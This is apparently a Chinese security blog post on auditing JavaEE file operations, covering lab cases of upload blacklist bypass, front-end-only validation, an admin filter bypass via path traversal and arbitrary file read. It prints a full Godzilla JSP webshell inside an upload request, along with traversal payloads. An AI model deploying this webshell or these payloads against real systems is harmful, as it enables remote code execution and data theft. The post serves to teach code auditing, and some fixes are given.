Skip to main content

JavaEE代码审计-文件操作

·773 words·4 mins
IIIIIIIIIIII
Author
IIIIIIIIIIII
A little bit about you

JavaEE代码审计-文件函数
#

文件函数
1:搜索类别
2:搜索功能点来找到代码
new File(
String path
String fileName
new FileInputStream(
new FileOutputStream(
new FileReader
response.setContentType("application/octet-stream;
file.delete();
FileUtils.
new ZipEntity(
file.getName(
.unzip(
.mkdirs(
stream.write(
save2File(
fos、fis.close()
MultipartFile(
file.getOriginalFilename(
IOUtil
FileUtil
download
fileName
filePath
write
getFile
getPath
getWriter
上传 // 搜注释
下载 // 搜注释

案例一: inxedu教育系统-文件上传黑名单校验
#

搭建注意mysql版本选择低一点的5.0 并且tomcat里面的工件路径是根目录

这里登录用127.0.0.1 登录用户密码登录上去了用localhost不可以不知道为什么

通过功能点找到代码点–发现文件上传测试点

http://127.0.0.1:82/image/gok4?&param=temp&fileType=jpg,gif,png,jpeg 数据包如下

&param=temp&fileType=jpg,gif,png,jpeg

------WebKitFormBoundary7JcghSZ4pcHSbNEt
Content-Disposition: form-data; name="uploadfile"; filename="44.jpg"
Content-Type: image/jpeg


------WebKitFormBoundary7JcghSZ4pcHSbNEt--

但是上传的代码我们一直没有找到啊 最后发现在jar包里面 所以我们找不到的时候可以看看jar包

demo_inxedu_open\src\main\webapp\WEB-INF\lib\inxedu-jar.jar!\com\inxedu\os\common\controller\ImageUploadController.class

可以发现下面代码用的是黑名单过滤,通过拿到后缀比对是否有jsp来判断但是JSP和php一样 比如php5一样可以执行JSP也是一样的有JSPX在哥斯拉生成后缀中

但是上传注意他是jpg,gif,png,jpeg 包含上传的后门所以我们在这后面也要加上jspx

@RequestMapping(
        value = {"/gok4"},
        method = {RequestMethod.POST}
    )
    public String gok4(HttpServletRequest request, HttpServletResponse response, @RequestParam(value = "uploadfile",required = true) MultipartFile uploadfile, @RequestParam(value = "param",required = false) String param, @RequestParam(value = "fileType",required = true) String fileType, @RequestParam(value = "pressText",required = false) String pressText) {
        try {
            long maxSize = 4096000L;
            System.out.println(uploadfile.getSize());
            if (uploadfile.getSize() > maxSize) {
                return this.responseErrorData(response, 1, "上传的图片大小不能超过4M。");
            } else {
                String[] type = fileType.split(",");
                this.setFileTypeList(type);
                String ext = FileUploadUtils.getSuffix(uploadfile.getOriginalFilename());
                if (fileType.contains(ext) && !"jsp".equals(ext)) {
                    String filePath = this.getPath(request, ext, param);
                    File file = new File(this.getProjectRootDirPath(request) + filePath);
                    if (!file.getParentFile().exists()) {
                        file.getParentFile().mkdirs();
                    }

                    uploadfile.transferTo(file);
                    return this.responseData(filePath, 0, "上传成功", response);
                } else {
                    return this.responseErrorData(response, 1, "文件格式错误,上传失败。");
                }
            }

修复

  1. 不信任客户端输入:硬编码允许的文件类型,拒绝所有脚本后缀;白名单
  2. 验证文件本质:通过文件头和内容判断真实类型,而非仅依赖后缀;
  3. 隔离危险文件:重命名文件,禁止上传目录的脚本解析;
  4. 限制访问和频率:防止恶意用户滥用上传功能。

修复:使用白名单校验

案例二:天猫tmall-前端校验-绕过鉴权
#

1

首先在admin界面找到上传点

1

通过F12找到后端接口

tmall/admin/uploadAdminHeadImage

源码如下就是上传提交一个Muil图片数据获取后缀随机生成随机名字 注意没有进行过滤
@ResponseBody
@RequestMapping(value = "admin/uploadAdminHeadImage", method = RequestMethod.POST, produces = "application/json;charset=UTF-8")
public String uploadAdminHeadImage(@RequestParam MultipartFile file, HttpSession session) {
    String originalFileName = file.getOriginalFilename();
    logger.info("获取图片原始文件名:{}", originalFileName);
    assert originalFileName != null;
    String extension = originalFileName.substring(originalFileName.lastIndexOf('.'));
    //生成随机名
    String fileName = UUID.randomUUID() + extension;
    //获取上传路径
    String filePath = session.getServletContext().getRealPath("/") + "res/images/item/adminProfilePicture/" + fileName;

    logger.info("文件上传路径:{}", filePath);
    JSONObject jsonObject = new JSONObject();
    try {
        logger.info("文件上传中...");
        file.transferTo(new File(filePath));
        logger.info("文件上传成功!");
        jsonObject.put("success", true);
        jsonObject.put("fileName", fileName);
    } catch (IOException e) {
        logger.warn("文件上传失败!");
        e.printStackTrace();
        jsonObject.put("success", false);
    }
    return jsonObject.toJSONString();
}

我们上传一个其他的会提示请选择图片

1

这时候我自己判断是前端校验我们搜索关键字找到了JS文件

这应该就是只是判断mime是不是image然后就通过
function uploadImage(fileDom) {
    //获取文件
    var file = fileDom.files[0];
    //判断类型
    var imageType = /^image\//;
    if (file === undefined || !imageType.test(file.type)) {
        alert("请选择图片!");
        return;
    }
    //判断大小
    if (file.size > 512000) {
        alert("图片大小不能超过500K!");
        return;
    }
    //清空值
    $(fileDom).val('');
    var formData = new FormData();
    formData.append("file", file);
    //上传图片
    $.ajax({
        url: "/tmall/user/uploadUserHeadImage",
        type: "post",
        data: formData,
        contentType: false,
        processData: false,
        dataType: "json",
        mimeType: "multipart/form-data",
        success: function (data) {
            if (data.success) {
                $(fileDom).prev("img").attr("src","/tmall/res/images/item/userProfilePicture/"+data.fileName);
                $("#user_profile_picture_src_value").val(data.fileName);
            } else {
                alert("图片上传异常!");
            }
        },
        beforeSend: function () {
        },
        error: function () {

        }
    });
}

而且后端完全没有过滤所以我们就上传一个图片然后修改为JSP后缀文件

哥斯拉后门

POST /tmall/admin/uploadAdminHeadImage HTTP/1.1
Host: 192.168.56.1:8088
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2WnYeHXgLweiQ8gE
Origin: http://192.168.56.1:8088
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Referer: http://192.168.56.1:8088/tmall/admin
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=C0DDD52737477BA74E6A776BCB355385; username=admin; Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1760498678; Hm_lvt_1040d081eea13b44d84a4af639640d51=1761036833,1761037048
Content-Length: 200

------WebKitFormBoundary2WnYeHXgLweiQ8gE
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: image/jpeg

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>
------WebKitFormBoundary2WnYeHXgLweiQ8gE--

成功连接

过滤器绕过
#

他的用途

``/admin/*路径的请求(比如/admin/user/admin/order等),检查用户是否已登录为管理员;未登录则强制跳转到登录页,已登录则允许访问目标资源

这里代码用了过滤器filter 它是运行在服务器之前的
@WebFilter(filterName="adminPermissionFilter",urlPatterns= {"/admin/*"})
public class AdminPermissionFilter implements Filter {
    //log4j2
    protected Logger logger = LogManager.getLogger(AdminPermissionFilter.class);

    @Override
    public void init(FilterConfig filterConfig) { }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        HttpServletRequest servletRequest = (HttpServletRequest) request;
        //如果是(登录界面,登录态失效界面),直接放行
        if(servletRequest.getRequestURI().contains("/admin/login") ||
                servletRequest.getRequestURI().contains("/admin/account")
        ){
            chain.doFilter(request, response);
        } else {
            logger.info("检查管理员权限");
            Object o = servletRequest.getSession().getAttribute("adminId");
            if(o == null){
                logger.info("无管理权限,返回管理员登陆页");
                request.getRequestDispatcher("/admin/login").forward(request, response);
            } else {
                logger.info("权限验证成功,管理员ID:{}",o);
                chain.doFilter(request, response);
            }
        }
    }

    @Override
    public void destroy() { }
}

但是注意到没,如果我们是/admin/login/../../tmall/admin/uploadAdminHeadImage 就可以绕过逻辑直接放行

因为他只判断前面有没有这个/admin/login 或者 admiiin/account

案例三:OA-sys 文件任意读取
#

搜索 new FileInputStream( 找到

src/main/java/cn/gson/oasys/controller/user/UserpanelController.java

@RequestMapping("image/**")
public void image(Model model, HttpServletResponse response, @SessionAttribute("userId") Long userId, HttpServletRequest request)
       throws Exception {
    String projectPath = ClassUtils.getDefaultClassLoader().getResource("").getPath();
    System.out.println(projectPath);
    String startpath = new String(URLDecoder.decode(request.getRequestURI(), "utf-8"));
    
    String path = startpath.replace("/image", "");
    System.out.println(path);
    File f = new File(rootpath, path);
    System.out.println(rootpath);
    ServletOutputStream sos = response.getOutputStream();
    FileInputStream input = new FileInputStream(f.getPath());
    byte[] data = new byte[(int) f.length()];
    IOUtils.readFully(input, data);
    // 将文件流输出到浏览器
    IOUtils.write(data, sos);
    input.close();
    sos.close();
}

代码很简单传入image/后面的把 image替换为空然后读取数据打印到浏览器

/image///image..//image..//image..//image..//image..//image..//1.txt 那就是这样

1

但是你想啊 我直接输入/image/../../../../../../1.txt 可以吗

不可以 因为../直接就把 /image给去掉了 都找不到接口位置了 直接就变成了 www.xxx.com/1.txt

Related

JavaEE代码审计-sql注入
·684 words·4 mins
NPS-内网攻防信息打点工具
·467 words·3 mins
PHP11-Laravel-代码审计
·305 words·2 mins
PHP10-thinkphp-RCE
·112 words·1 min
PHP代码审计9-框架-YII
·263 words·2 mins